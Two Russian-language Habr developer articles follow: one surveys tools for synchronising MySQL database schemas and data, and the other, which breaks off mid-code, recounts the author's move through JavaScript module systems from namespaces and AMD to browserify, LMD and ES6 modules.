При разработке современных веб-приложений сложно недооценить пользу от использования систем контроля версий. Применительно к файлам разрабатываемого продукта, мы способны отследить любые этапы производства в любой момент, начиная с первой ревизии. Инструменты, помогающие нам в этом, на сегодняшний день популяризированы, считаются хорошим тоном при разработке, а во многих случаях успешное производство без их применения невозможно в принципе. А какие возможности мы имеем, когда возникает необходимость проследить изменения не в файлах, а в базах данных проекта? Под катом я поделюсь информацией о существующих средствах, с которыми мне пришлось ознакомиться.
#### 1. PHP SQLDIFF, a.k.a. SQLDiff
(<http://phpsqldiff.sourceforge.net/>)
PHP-скрипт, позволяющий увидеть полные различия (как в структуре, так и в данных) между любыми таблицами двух БД. В инструменте отсутствуют какие-либо средства по автоматической синхронизации структуры или данных – предоставляется лишь визуальная информация. Еще из существенных недостатков – возможность подключения только к БД, к которым возможен доступ напрямую (не через ssh-тоннель). Медленная скорость работы на больших объемах данных (работа через pear-модуль, который не блещет ни новизной, ни скоростью). Считаю данный скрипт весьма полезным для разработчика в случаях, когда необходимо понимание и визуальное представление различий между разными таблицами — имеет удобный интерфейс, быстрая настройка. Охарактеризую скорее как полезную карманную утилиту для быстрого получения понимания о рассинхронизации таблиц, которые в теории должны быть идентичны, нежели как серьезный инструмент, который можно применить для автоматизации процессов синхронизации.
#### 2. LIQUIBASE
(<http://www.liquibase.org/>)
Удобный многофункциональный и простой в использовании мигратор структуры БД на java. Вижу для себя в этом плюс, если использовать в связке с Jenkins.
Пример (host1 — сервер, с которого необходимо копировать структуру БД; host2 — сервер, на который необходимо перенести структуру с host1):
```
java -jar liquibase.jar --driver=com.mysql.jdbc.Driver \
--classpath=mysql-connector-java-5.1.xx-bin.jar \
--logFile=db.ExampleChangelog.xml \
--url="jdbc:mysql://host2" \
--defaultSchemaName=db_name \
--username=username \
--password="password" \
--referenceUrl=jdbc:mysql://host1 \
--referenceUsername=username \
--referencePassword="password" \
diffChangeLog > ChangeSet.xml
```
Формирует changeset в формате xml, дальнейшая миграция которого приводит структуру бд на host2 в состояние, идентичное host1.
Запуск миграции:
```
java -jar liquibase.jar --driver=com.mysql.jdbc.Driver \
--classpath=/path/to/classes \
--changeLogFile=ChangeSet.xml \
--url="jdbc:mysql://host2" \
--username=user \
--password="password" \
migrate
```
После миграции есть смысл проверить еще раз, что changeset пустой.
Происходит не только синхронизация таблиц и полей, но также индексов, ключей. Не уверен по поводу хранимых процедур – это я не проверил.
Changeset также можно формировать и в других форматах — в sql, в json (не только в xml). Формирование changeset'а в sql будет полезным в тех случаях, когда для миграции используются средства другой утилиты.
#### 3. schemasync
(<http://schemasync.org/>)
Инструмент для синхронизации структуры БД. Для работы необходим python и соответствующий интерфейс для mysql.
Из существенных различий с liquibase:
— schemasync создает не только ченжсет, но и файл, позволяющий откатить изменения (самое важное и самое ценное преимущество, хотя, на мой взгляд, не избавляет от необходимости делать backup перед синхронизацией)
— liquibase позволяет не только получить ченжсет, но и сразу же запустить миграцию средствами самой утилиты. Может быть, не киллер-фича, но все равно удобно и полезно
schemasync работает только с sql – никаких промежуточных xml и аналогов – вижу для себя в этом как преимущества, так и недостатки.
Очень лаконичный синтаксис, минимум настроек. Позволяет не синхронизировать комментарии и автоинкремент (настраивается) — безусловный плюс.
Пример использования:
```
schemasync mysql://user:pass@dev-host:3306/dev_db mysql://user:pass@prod-host:3306/production_db
```
#### 4. MAATKIT data sync
(<http://www.maatkit.org/doc/>)
mk-table-sync — утилита для синхронизации данных таблиц. Сразу же упомяну, что maatkit — это целый комплекс средств для работы с MySQL, который предоставляет возможности, не заложенные в оригинальном MySQL. Это и не удивительно, учитывая, что данный продукт создан Percona – мы уже привыкли видеть от них продукты а-ля «Мы возьмем MySQL и добавим в него то, что в нем уже давно должно было быть».
Эффективно работает с таблицами только при наличии первичного ключа или уникального индекса (что, в общем-то, оправданно).
Имеет внушительное количество опций и настроек, позволяет синхронизировать master-slave, master-master конфигурации. Позволяет запускать автоматическую синхронизацию, но нас интересует в первую очередь не этим, а возможностью создать именно лог изменений. Думаю, по этой утилите можно написать отдельную статью, поэтому не буду углубляться в настройки – акцентирую лишь на том, что опций действительно много и они дарят разработчику возможность очень гибкой настройки синхронизации, позволяя учитывать многие нюансы. Есть смысл читать оригинальную документацию (http://www.maatkit.org/doc/mk-table-sync.html).
Пример использования:
```
mk-table-sync
--verbose
--print
--charset=DB_CHARSET,
h=host,
P=port1,
u=user1,
p=password1,
t=table1,
D=db1
h=host2,
P=port2,
u=user2,
p=password2,
D=db2
> /__path__/ChangeLogQueries.sql
```
##### Дополнение 1:
Упомянутые инструменты имеют существенный недостаток, который менее важен при деплое на production-сервер, но постоянно о себе напоминает в процессе разработки – скорость выполнения. Изначально была задача построить механизм, который позволит автоматизировать сихнронизацию между площадками в цепочке «разработчики — тестовые сервера — stage — production». Начиная (в упомянутой выше цепочке) с тестовых серверов все довольно просто – из ресурсов требуется только время, нагрузка минимальна. Если процесс выполняется автоматически по расписанию по ночам, то важно не то, за сколько времени выполнилось, а то, чтобы не создать нагрузку и чтобы к утру задача была полностью завершена. Если синхронизация регулярная, то списки изменений никогда не будут чрезмерно большими, а нагрузка будет ничтожной. Другое дело, когда речь идет о синхронизации между площадкой разработчика и тестовым сервером. В таком случае, синхронизация, выполняющаяся 1 час, всегда будет ощутимой и будет создавать неудобства. Эти обстоятельства и натолкнули на средство синхронизации №5:
#### 5. «Полуавтоматическая синхронизация».
В описанных выше утилитах большую (чуть менее, чем полностью) часть времени занимает именно формирование списка различий. Применить же потом скрипт по устранению различий – действие достаточно быстрое (опять же, не аксиома, но в большинстве случаев в процессе разработки). Это наталкивает на мысли, что можно поработать над ручным формированием списка различий, а автоматизировать только его применение. Очевидных способов нашлось только два:
а) в любом продукте существуют методы для работы с БД — не важно, используете ли вы популярный фреймворк или у вашего продукта самодельное ядро. Достаточно фиксировать все необходимые запросы (если только стуктура интересует — DDL, если данные тоже — update и delete, к примеру) в собственное хранилище;
б) если ваш фреймворк (а еще больше этим грешат cms) не имеет возможности расширить методы класса, работающего с БД и даже не имеет обработчика событий в методе, выполняющем запрос к БД, можно парсить лог всех запросов (надеюсь, возможность включить такой лог имеет весь целевой софт) и фиксировать только необходимые действия из этого лога.
Такая «полуавтоматическая синхронизация» с созданием собственных логов изменений имеет право на существование, но должна побудить разработчика выполнять с помощью упомянутых выше утилит проверку после синхронизаций, что таблицы действительно совпадают (пусть это выполняется хотя бы по ночам по расписанию, чтобы быть уверенными, что человеческий фактор не внес свои коррективы в синхронность данных).
##### Дополнение 2:
(updated)
К сожалению, почти все упомянутые мной средства обладают существенным недостатком (и я буду рад, если ошибаюсь, но опровержений моим словам я не нашел) — все они требуют удаленного доступа к БД по tcp/ip. Учитывая, что нормальной практикой является разрешение доступа к БД только с локального хоста и запрет удаленного доступа, добиться синхронизации лишь средствами упомянутых утилит не удастся.
Большое спасибо пользователю [DarkByte](http://habrahabr.ru/users/darkbyte/) за предложенное решение с пробросом портов — это решает проблему.
Удачного применения и не забывайте делать бэкапы! | https://habr.com/ru/post/178875/ | null | ru | null |
# Путь JavaScript модуля
На момент написания этой статьи в JavaScript еще не существовало официальной модульной системы и все эмулировали модули как могли.
Модули или подобные структуры это неотъемлемая часть любого взрослого языка программирования. Просто иначе никак. Модули позволяют ограничить область видимости, позволяют реиспользовать части приложения, делают приложение более структурированным, отделяют ресурсы от шума и вообще делают код нагляднее.
Вот в JavaScript своя атмосфера — в языке нет официальных модулей, более того все файлы лежат удаленно, один поток приложения. Приходится постоянно решать какие-то странные проблемы с загрузкой, хитро паковать модули в один файлы, чтобы ускорить время загрузки. Бывает, что нужно воевать с двойными стандартами, адаптировать модули другого формата.
Дело в том, что раньше не думали, что на JavaScript можно делать огромные проекты, а не просто «пропатчить DOM», поэтому о модулях не думали. Да и вообще не думали о будущем. И тут Внезапно будущее нагрянуло! Все вроде-бы уже есть, а модули в JavaScript, мягко говоря, запаздывают. Поэтому разработчикам приходится крутиться и выдумывать какие-то эмуляторы модульности.
Думаю многие из вас читали прекрасную статью Addy Osmani [Writing Modular JavaScript With AMD, CommonJS & ES Harmony](http://addyosmani.com/writing-modular-js/), которая стала одной из глав его книги [Learning JavaScript Design Patterns](http://addyosmani.com/resources/essentialjsdesignpatterns/book/#modularjavascript) в этой статье рассказывается про «современные» JavaScript модули или же читали достаточно старую статью [JavaScript Module Pattern: In-Depth](http://www.adequatelygood.com/JavaScript-Module-Pattern-In-Depth.html) 2010 года про «старые» модули.
Я не буду переводить эти статьи и не буду делать из них солянку. В своей статья я хочу рассказать о моем модульном пути. О том как я проделал путь от «старых» модулей к «новым» и что использую сейчас и почему.
Эта статья состоит из 3 частей: Путь модуля, Матчасть по кишкам модулей и Распространенные виды модулей
**tl;dr**Я прошел длинный путь от «не модулей» через [AMD](http://requirejs.org/docs/whyamd.html#amd) и [browserify](http://browserify.org/) к [LMD](http://lmdjs.org/), который удовлетворяет все мои потребности и делает жизнь проще. В будущем делаю ставку на [ECMAScript 6 Modules](http://wiki.ecmascript.org/doku.php?id=harmony:modules).
#### Путь модуля
##### Этап 1: Без модулей
В те времена, когда кода JavaScript было мало я вполне обходился и без модулей. Тогда они были мне не нужны. Введение модульной системы превратили бы мои 50 строк кода в 150. И быстренько пропатчить DOM я мог и без модулей. Я вполне обходился пространствами имен и не использовал сборку, а минификаторы тогда не были развиты.
Модуль
```
MyNs.MyModule = function () {};
MyNs.MyModule.prototype = {
// ...
};
```
Сборка
```
```
Прогресс моего приложения шагнул еще на пол шага вперед, когда я стал собирать свои файлы с помощью cat
```
$ cat js/*.js > build.js
```
##### Этап 2: Препроцессинг
Прогресс не стоит на месте и мои 50 строк кода постепенно превратились в 1500, я стал использовать сторонние библиотеки и их плагины. И приложение, которые я писал можно было вполне назвать Rich Internet Application. Деление на модули и их частичная изоляция решала мои проблемы того времени. Для сборки я стал использовать препроцессоры. Модулей было много, у них были зависимости, а разрешать зависимости руками мне не очень хотелось, поэтому препроцессинг тогда был незаменим. Я использовал пространства имен, хотя с ними было много возни:
```
if (typeof MyNamespace === 'undefined') {
var MyNamespace = {};
}
```
и лишней писанины:
```
new MyNamespace.MyConstructor(MyNamespace.MY_CONST);
// vs
new MyConstructor(MY_CONST);
```
и минификаторы того времени плохо сжимали такой код:
```
new a.MyConstructor(a.MY_CONST);
// vs
new a(b);
```
Мои модули шагнули еще чуть-чуть вперед, когда я стал применять тотальную изоляцию и выкинул пространство имен, заменив его областью видимости. И стал использовать вот такие модули:
```
include('deps/dep1.js');
var MyModule = (function () {
var MyModule = function () {};
MyModule.prototype = {
// ...
};
return MyModule;
})();
```
И вот такую сборку
```
(function () {
include('myModule.js');
}());
```
И тот же препроцессинг
```
$ includify builds/build.js index.js
```
Каждый модуль имеет локальную область видимости и вся сборка обернута еще одной IEFE. Это позволяет оградить модули друг от друга и все приложение от глобалов.
##### Этап 3: AMD
В один прекрасный день, читая Reddit, я наткнулся на статью о AMD и RequireJS.
Небольшое отступление. На самом деле идея AMD была заимствована из [YUI Modules](http://yuilibrary.com/yui/docs/yui/create.html) и хорошенько допилена. Для использования и декларации модулей теперь не нужно было выписывать лишние символы, конфигурирование так же стало проще.
Было
```
YUI().use('dep1', function (Y) {
Y.dep1.sayHello();
});
```
Стало
```
require(['dep1'], function (dep1) {
dep1.sayHello();
});
```
Познакомившись с AMD я понял, что до этого времени я все делал не так. Всего 2 функции `require()` и `define()` и все мои проблемы были решены! Модули стали сами загружать свои зависимости, появился вменяемый экспорт и импорт. Модуль разделился на 3 части (импорт, экспорт, тело модуля), которые можно было легко понять. Так же стало легко найти те ресурсы, которые ему нужны и которые он экспортирует. Код стал структурированным и более чистым!
Модуль
```
define('myModule', ['dep1', 'dep2'], function (dep1, dep2) {
var MyModule = function () {};
MyModule.prototype = {
// ...
};
return MyModule;
});
```
Сборка
```
$ node r.js index.js bundle.js
```
Но не все так просто…
##### Этап 4: Разочарование в AMD
То, что я показал выше — идеальный модуль и идеальная сборка. Такого в реальном проекте не бывает. А бывает так, что зависимостей у модуля очень много. Тогда он превращается в что-то такое:
```
require(['deps/dep1', 'deps/dep2', 'deps/dep3', 'deps/dep4', 'deps/dep5', 'deps/dep6', 'deps/dep7'],
function ( dep1, dep2, dep3, dep4, dep5, dep6, dep7) {
return function () {
return dep1 + dep2;
};
});
```
Таким модулем можно пользоваться, но с ним очень много возни. Чтобы побороть эту проблему можно переделать такой модуль на Simplified CommonJS. Еще в этом случае можно совсем не писать `define()` обертку и создавать честный CommonJS модули, а потом их собирать используя `r.js`.
```
define(function (require, module, exports) {
var dep1 = require('dep1'),
dep2 = require('dep2'),
dep3 = require('dep3'),
dep4 = require('dep4'),
dep5 = require('dep5'),
dep6 = require('dep6'),
dep7 = require('dep7');
return function () {
return dep1 + dep2;
};
});
```
Формат Simplified CommonJS для RequireJS «не родной», просто разработчиком пришлось его сделать. Если начать писать такие модули, то RequireJS начнет искать зависимости данного модуля регулярками.
И может что-то не найти:
```
require("myModule//");
require("my module");
require("my" + "Module");
var require = r;
r("myModule");
```
Этот код валидный, но тут нет ни одного модуля. Конечно пример абстрактный и некоторые имена надуманы, но случаи с динамическим конструированием имени модуля мне часто попадались, например, с шаблонами или какими-либо фабриками.
RequireJS, конечно, имеет для этого решение — прописать каждый такой модуль в конфиге:
```
({
"paths": {
"myModule": "modules/myModule.js"
}
})
```
Еще бывает так, что таких модулей много(шаблоны) и прописывать каждый раз новый модуль в конфиг не хочется и поэтому код начинает обрастать всякой магией вроде динамической генерации конфига. А не использовать «динамические модули» глупо при доступных возможностях.
Я стал писать честные CommonJS модули, использовать сборку через r.js даже в девелопменте. Отказ от AMD так же позволил использовать данные модули с Node.js без какой-либо магии. Я начал понимать, что данный инструмент мне в принципе подходит, но с костылями и дополнительной полировкой.
Те возможности динамический загрузки модулей, которую мне предлагал RequireJS мне были не нужны. Я хотел быть уверенным в том, что у меня будет максимально похожий код в девелопменте и продакшене, поэтому асинхронная догрузка модулей в девелопменте мне не подходила и именно поэтому я собирал свои модули в 1 файл.
Какая-то часть проекта загружалась при старте (1 запрос) остальные же части догружались по требованию. И догружались они не кучей мелких запросов, а одним большим (сборка нескольких модулей в 1м файле). Это позволяло и экономить время и трафик и уменьшало риски сетевых ошибок.
Еще бывает так, что нужно сделать несколько сборок. Например, приложение с русской локалью для среды тестинг или приложение оптимизированное под IE с английским языком для корпоративной сети. Или приложение оптимизированное под iPad для Украины с отключенной рекламой. Царила анархия и копипаст…
В философии RequireJs мне не нравилось то, что `require()` — это универсальный завод по производству любых ресурсов. `require()` делает абстракцию над плагинами и уже загруженными модулями если плагин не был по какой-то причине подключен, то как-то не совсем явно загружает его, а потом с помощью него загружает ресурс.
```
require(['async!i18n/data', 'pewpew.js', 'text!templates/index.html'],
fucntion (data, pewpew, template) {
});
```
В проектах где ресурсы однообразны или ресурсов не очень много — это может быть ок.
##### Этап 5: Поиск модуля
Я понял, что так жить больше нельзя… но знал, что же мне нужно:
###### 1 Модуль должен быть CommonJS
Достаточно частый случай, когда нужо запустить один и тот же модуль и под Node.js и под JS@DOM. Чаще всего это какие-то модули не связанный с внешней средой (файловая система/DOM) или абстрагированные от нее части: шаблоны (наиболее распространенная часть), функции работы с временем, функции форматирования, локализация, валидаторы…
Когда пишешь AMD и нужно что-то реиспользовать у тебя 2 пути: переписать AMD на CJS или использовать node-require. Чаще выбирают второй вариант потому как ничего менять не нужно. НО. Тогда появляется модульная каша, странная абстракция над уже существующей системой загрузки модулей в Node.js. Мне очень не нравились AMD модули в Node.js.
CJS кроме совместимости с Node.js лишен обертки `define()` и лишнего отступа, форматирующего тело функции. Его require и export нагляднее и ближе к ES6 Modules чем `define()`-way. Сравните сами:
ES6 Modules
```
import "dep1" as dep1;
import "dep2" as dep2;
export var name = function () {
return dep1 + dep2;
};
```
CommonJS/Modules
```
var dep1 = require("dep1"),
dep2 = require("dep2");
exports.name = function () {
return dep1 + dep2;
};
```
AMD
```
require(['dep1', 'dep2'], function (dep1, dep2) {
return {
name: function () {
return dep1 + dep2;
}
};
});
```
И если так получиться, что мне придется вернуться к AMD, то это будет совсем не больно — мне нужно будет всего лишь прописать одну строчку в конфиге, чтобы r.js оборачивл мои CJS модули.
###### 2 Сборщик модулей
Сегодня собирается все, даже если вы не пишете CoffeeScript, то вы так или иначе проверяете, собираете, сжимаете ваши скрипты.
Для адаптации CJS модуля нужна обертка, которую может делать за меня сборщик. Сборщик так же мог бы проверить меня: все ли модули существуют, не ошибся ли я в имени модуля, все ли я плагины задекларировал.
В результате сборки я хотел бы получить 1 файл, который содержит и мои модули и скрипты, необходимые для их работы.
Делить приложение на «мои скрипты» и «не мои» «во благо кэширования» (подключать код загрузчика отдельно и мой код отдельно) не имело для меня смысла потому как я пишу в основном одностраничные веб-приложения, да и кэш сегодня может вымываться за минуты. Сборка все-в-одном так же позволит избавиться от проблем совместимости с «загрузчиком модулей» при обновлении.
###### 3 Гибкая система конфигурации: зависимости, наследование, миксины
Как я уже писал, в мои приложениях бывает очень много сборок под разные устройства, браузеры, среды и локали. Я очень хотел получить ненавязчивую систему конфигурирования без лишнего копипаста и писанины.
Например есть конфиг `prod` от него наследуется конфиг `dev` и подменяет какие-то модули. Так же есть конфиги `ru` и `en`, которые мы можем подмешать `prod+en`, `dev+ru`. Теперь вместо всяких «common» и копипаст (`prod-ru`, `prod-en`, `dev-ru`, `dev-en`) мы имеем всего 4 «сухих» конфига: `prod`, `dev`, `ru`, `en`.
###### 4 CLI
Это интерфейс к тому роботу, который делает половину работы за тебя. Если он очень перегруженный или нужно `--писать длинные --команды-для-работы`, то это начинает напрягать и влечет за собой появление `Makefile` и трату кучи времени на старт этого самого робота, который должен экономить время.
Любые действия, которые повторяются часто должны максимально упрощаться. Должны использоваться значения по умолчанию, одинаковые имена аргументов у сабкоманд. В общем чтобы разработчик помнил и писал минимум.
Сравните
```
$ tool make -f path/to/build_name.js -o path/to/build.js
```
и
```
$ tool make build_name
```
И вот когда ты в очередной раз выписываешь эту длинную команду в консоли без автокомплита ты начинаешь ненавидеть этот инструмент. Понятно, что 1 вариант возможно более явный, чем второй, но уж очень походит на инструмент графомана.
##### Этап 6: browserify
[](https://github.com/substack/node-browserify)
[browserify](https://github.com/substack/node-browserify) это инструмент, позволяющий запускать любые модули Node.js в браузере.
Просто `browserify main.js > bundle.js` и работает.
Поработав с browserify какое-то время я осознал его истинный use-case: адаптация среды Node.js для работы в браузере. browserify прекрасен для своих целей, но не для тех реалий в который создаются веб-приложения. Когда есть не адаптированные сторонние модули, когда есть динамическая загрузка больших частей приложения. Приходилось много колдовать в консоли, чтобы все работало.
##### Этап 7: LMD
[](http://lmdjs.org/)
Я очень не хотел, но мне пришлось начать работать над [LMD](http://lmdjs.org/) — инструментом, который сделает мою жизнь проще. Подгонять существующие инструменты под мои цели я больше не мог.
В итоге был разработан инструмент, который занимался сборкой скриптовой части моих проектов.
Вот несколько особенностей, которые легли в основу LMD:
###### 1 Сборка из конфига
Так как наличие конфига неизбежно, то почему бы ни основываться на нем?! Поведение lmd полностью определяется конфигом в нем прописаны и модули и плагины и пути экспорта результирующего файла. Конфиги можно наследовать и миксовать с другими конфигами.
Так выглядит конфиг
```
{
"name": "My Config",
"root": "../js",
"output": "../build.lmd.js",
"modules": {
"main": "index.js"
},
"optimize": true,
"ie": false,
"promise": true
}
```
Если у вас сотня модулей — вам не нужно прописывать каждый модуль в конфиг! Достаточно прописать «rewrite rule» для однотипных модулей.
```
{
"modules": {
"main": "index.js",
"<%= file %>Template": "templates/*.html"
}
}
```
И на крайний случай вы можете написать конфиг в виде CJS модуля и сгенерирвать все на лету.
###### 2 Абстрактная ФС: Отсутствие привязки к файловой системе
Привязка к ФС с одной стороны это естественно и HTTP сервер может однозначно отражать файловую систему. Но стоит помнить, что в браузере нет файловой системы и HTTP сервер поставляет ресурсы, а код уже понимает, что вот данный текст по данному URL — это модуль. Ресурсы могут перемещаться, выкладываться на CDN под произвольными именами.
Введение абстрактной файловой системы позволяет делать абстракции над модулями. Например у вас есть модуль locale под которым может скрываться как locale.ru.json так и locale.en.json за счет того, что эти модули имеют одинаковый интерфейс мы можем прозрачно менять один файл другим.
Вы вольны называть ваши модули как вам угодно и подключать не думая о относительных путях. Если у вас много модулей и вы забыли какой файл скрывается под данным модулем, то вам достаточно использовать `lmd info`:
```
$ lmd info build_name | grep module_name
info: module_name ✘ plain ✘ ✘ ✘
info: module_name <- /Users/azproduction/project/lib/module_name.js
```
###### 3 Не перегруженный require() и плагины
Мне не нравилось, что require это фабрика, поэтому его поведение было немного переписано. Теперь просто `require()` загружает модули из абстрактной файловой системы и больше ничего. А `require.*()` будет использовать плагин `*` и делать же свое дело. Например, `require.js()` загрузит любой JavaScript файл по аналогии с `$.loadScript`.
Плагины нужно явно прописывать в конфиг, однако LMD поможет вам не забыть включить плагин, если вы пишете «правильный код».
Например, в этом коде LMD поможет не забывть 3 плагина: css, parallel и promise
```
require.css(['/pewpew.css', '/ololo.css']).then(function () {
});
```
А вот в этом коде только плагин js
```
var js = require.js;
js('http://site.com/file.js').then(function () {
});
```
Вы можете включать и отключать плагины, используя наследование и миксы конфигов.
###### 4 Адаптация модулей
Бывает так, что в проекте есть какие-то файлы, которые сложно назвать модулями, но их нужно использовать как и другие модули. LMD может легко адаптировать любой файл и сделать из него CJS модуль во время сборки. Кроме этого для использования текстовых файлов(шаблоны) и JSON-файлов не нужно прописывать ни плагины (смотри плагин text для RequireJS) ни адаптеры. В отличии от того же RequireJS LMD превращает данные файлы в честные модули, а не адаптирует их с shim.
Сегодня LMD имеет кучу плагинов и примеров работы с ними и встроенную систему аналитики работы сборки. Ну и, конечно, LMD делает мою жизнь проще. Дальнейший рассказ про LMD выходит за границы моей статьи. В следующий раз я напишу статью с примером проекта на LMD.
##### Будущее?
[](http://wiki.ecmascript.org/doku.php?id=harmony:modules)
Да, конечно, это ES6 Modules. Их формат схож со многими форматами модулей из других языков и соответствуют ожиданиям новичков в JavaScript. В них есть все необходимые атрибуты модуля: импорт, экспорт, обертка модуля (на случай если нужно конкатенировать несколько файлов). Они [прекрасно транслируются в CJS и AMD](http://addyosmani.com/blog/author-in-es6-transpile-to-es5-as-a-build-step-a-workflow-for-grunt/). Однако в том виде в котором они есть сейчас в черновике их сложно использовать в реальных проектах.
Import статический. Нужно использовать сборщик модулей, чтобы ускорить старт приложения. Импорт внешнего модуля будет блокирующим:
```
import {get, Deferred} from "http://yandex.st/jquery/3.0/jquery.min.js";
get('/').then(console.log.bind(console));
```
Это практически аналогично
```
<script>
var get = $.get,
Deferred = $.Deferred;
get('/').then(console.log.bind(console));
```
В свою очередь, блокировку можно снять, используя
Динамическая загрузка модулей есть, но она сейчас не совершенная:
```
Loader.load('http://json.org/modules/json2.js', function(JSON) {
alert(JSON.stringify([0, {a: true}]));
});
```
Надеюсь, что загрузчик модулей сможет грузить сборку из нескольких модулей. Тогда этого будет достаточно.
Стандарт сейчас активно обсуждается и то, что я вам сегодня показал, возможно завтра будет выглядеть не так (но маловероятно). Сегодня модули и синтаксис импорта/экспорта похож на тот, который вы привыкли видеть в других языках. Это хорошо так как JavaScript используют многие разработчики и им больно видеть дикие хаки вроде AMD. Сегодня одно из направлений развития ECMAScript направлено на превращение языка в своеобразный асемблер для трансляции из других языков. И модули неотъемлемая часть этого направления.
##### Выводы
Сегодня, можно сказать, JavaScript не имеет устоявшейся модульной системы есть только эмуляторы модульности, однако у вас есть возможность использовать синтаксис ES6 Modules и компилировать ваши модули в CJS и AMD. В JavaScript своя атмосфера, много ограничений(сетевые тормоза, трафик, лаги), которые не позволяют использовать привычные многим импорты. Проблема сборки и асинхронной загрузки так или иначе решена в популярных эмуляторах модульности, но как ее будут решать разработчики ES6 — вопрос.
#### Матчасть
Если вы осилили мой модульный путь, то, я думаю, вам будет интересна моя небольшая модульная классификация.
Я классифицировал существующие JavaScript «модули» и их инфраструктуру по особенностям. Классификация учитывает многие особенности. Давайте рассмотрим классификацию модулей, а потом уже отдельные модульные системы.
* Разрешение зависимостей
+ Ручное управление
+ Зависимости прописываются в конфиге
+ Зависимости прописываются в самом модуле
+ Зависимости прописываются в модуле и в конфиге
* Доступ к зависимостям
+ Произвольный
+ Динамический
+ Декларативный
* Экспортирование из модуля
+ Хаотичный экспорт
+ Не управляемый экспорт со строгим именем
+ «Самоэкспорт» со строгим именем
+ Управляемый экспорт с произвольным именем
+ Честный import/export
* Сбока модулей
+ Без сборки
+ Конкатенация файлов по маске
+ Препроцессинг
+ Статический анализ зависимостей
+ Сборка из конфига
* Инициализация и интерпретация модуля
+ Инициализируется и интерпретируется при старте
+ Инициализируется при старте, интерпретируется по требованию
+ Инициализируется и интерпретируется по требованию
* Загрузка внешних зависимостей
+ Загрузчик неуправляемого модуля
+ Загрузчик «управляемого» модуля
* Изоляция модулей
+ Модули не изолированы
+ Модули изолированы
+ Модули тотально изолированы
##### Разрешение зависимостей
Каким образом сборочный инструмент или разработчик определяет какие зависимости нужно подключить/инициализировать для нормальной работы данного модуля. У зависимостей, в свою очередь, так же могут быть зависимости.
###### Разрешение зависимостей. Ручное управление
Управление зависимостями на плечах разработчика. Разработчик аналитически понимает какие зависимости нужно подключить.
```
```
И соответственно в `main.js`
```
var moduleName = function () {
return dep1 + dep2;
};
```
 Никаких сторонних библиотек не нужно использовать
 Когда модулей не много и они все свои — это ок
 Когда модулей много такой код невозможно поддерживать
 Несколько файлов = несколько запросов на сервер
Подходит для «быстро накодить».
###### Разрешение зависимостей. Зависимости прописываются в конфиге
Зависимости прописываются во внешнем конфиге и могут наследоваться. Используя данный конфиг какой-то сборочный инструмент загружает/подключает зависимости данного модуля. Конфиг может быть написан как для конкретного модуля так и для всего проекта.
Такой конфиг используется в LMD
```
{
"modules": {
"main": "moduleName.js"
"<%= file %>": "deps/*.js"
}
}
```
И соответственно в `main.js`
```
var dep1 = require('dep1'),
dep2 = require('dep2');
module.exports function () {
return dep1 + dep2;
};
```
 Модули не завязываются на файловую систему (можно дать любое имя любому файлу)
 Без изменения имени модуля можно изменить его содержимое
 Нужно писать такой конфиг
 Нужен дополнительный инструмент/библиотека
###### Разрешение зависимостей. Зависимости прописываются в самом модуле
В самом файле декларируются зависимости, пути до файла и то как они будут называться во время работы. Модуль фактически определяет любые ресурсы необходимые для работы, а загрузчик предоставляет их. Пока зависимости и зависимости зависимостей не загружены модуль не начнет свою работу.
Такой способ использует AMD (RequireJS)
```
require(['deps/dep1', 'deps/dep2'], function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
});
```
Если зависимостей у одного модуля очень много, то такой синтаксис как правило деградируют до CommonJS define либо используют всякие извращения.
Извращения
```
require(['deps/dep1', 'deps/dep2', 'deps/dep3', 'deps/dep4', 'deps/dep5', 'deps/dep6', 'deps/dep7'],
function ( dep1, dep2, dep3, dep4, dep5, dep6, dep7) {
return function () {
return dep1 + dep2;
};
});
```
Деградация до CommonJS define
```
define(function (require, module, exports) {
var dep1 = require('dep1'),
dep2 = require('dep2'),
dep3 = require('dep3'),
dep4 = require('dep4'),
dep5 = require('dep5'),
dep6 = require('dep6'),
dep7 = require('dep7');
return function () {
return dep1 + dep2;
};
});
```
При использовании такой деградации RequireJS ищет зависимости регулярками. Это на 95% надежный способ. Честный же способ (AST или хитрый процессинг) потребляет слишком много ресурсов (объем кода и время процессинга), но так же не покрывает всех потребностей.
Бывают случаи когда необходимо так же написать конфиг, чтобы, например, адаптировать какой-то старый модуль, который не умеет define или если какой-то «честный модуль» инициализируется динамически — `require('templates/' + type)` и его не может найти регулярка. Динамическая инициализация это редкая штука и в основном используется для динамической загрузки шаблонов, но не исключена.
 Практически все зависимости описываются в самом файле
 Конфиги асинхронно загружаются
 Не нужно писать конфиг
 Но иногда приходится его все-таки писать конфиг
 Нужен дополнительный инструмент/библиотека
###### Разрешение зависимостей. Зависимости прописываются в модуле и в конфиге
Зависимости прописываются с самом файле и в специальном конфиге.
Конфиг используется любым менеджером пакетов для устранения зависимостей. Например npm и `package.json`
```
{
"dependencies": {
"express": "3.x",
"colors": "*"
}
}
```
И соответственно `main.js`
```
// Внешний модуль
var express = require('express');
// Локальный модуль
var dep1 = require('./deps/dep1'),
dep2 = require('./deps/dep2');
module.exports function () {
return dep1 + dep2;
};
```
Разработчик определяет список зависимостей и их версии. Менеджер пакетов загружает модули и их зависимости. Тут, в принципе, без вариантов тк менеджер ничего не знает о модуле. `package.json` для менеджера единственный интерфейс взаимодействия. В свою очередь каждый модуль может загружать свои части напрямую из файловой системы `require('pewpew.js')`
Если использовать такой подход для браузера, то выходят такие плюсы и минусы
 Все зависимости описываются в самом файле
 Возможно управление версиями внешних зависимостей
 Такой модуль можно без проблем использовать как на сервере так и на клиенте
 Нужен дополнительный инструмент/библиотека для сборки, например browserify
##### Доступ к зависимостям
Определяет каким образом модуль использует зависимости внутри себя, как получает доступ к необходимому модулю.
###### Доступ к зависимостям. Произвольный
Все модули лежат открыто в глобальной области видимости или в неймспэйсе. Каждый модуль может без каких-либо ограничений в любом месте получить доступ к любой части приложения любым способом.
```
var dep1 = 1;
var dep2 = 2;
alert(dep1 + dep2);
```
 Если модулей не много и они не большие, то это ок
 Если модулей много, то такой код невозможно поддерживать
 Нельзя не глаз определить зависимости модуля (нужно искать имена глобальных переменных или неймспейс)
###### Доступ к зависимостям. Динамический
Доступ к модулю можно получить только через «загрузчик» — `require()` или объявив зависимости модуля через `define()`
Такой способ используется в большинстве популярных библиотек, когда в «замыкание модуля» пробрасывается функция require через которую модуль и может получать доступ к другим модулям. Так же эта функция может быть доступна глобально.
```
var dep1 = require('./deps/dep1'),
dep2 = require('./deps/dep2');
alert(dep1 + dep2);
```
Соответственно способ с `define()`
```
require(['./deps/dep1', './deps/dep2'], function (dep1, dep2) {
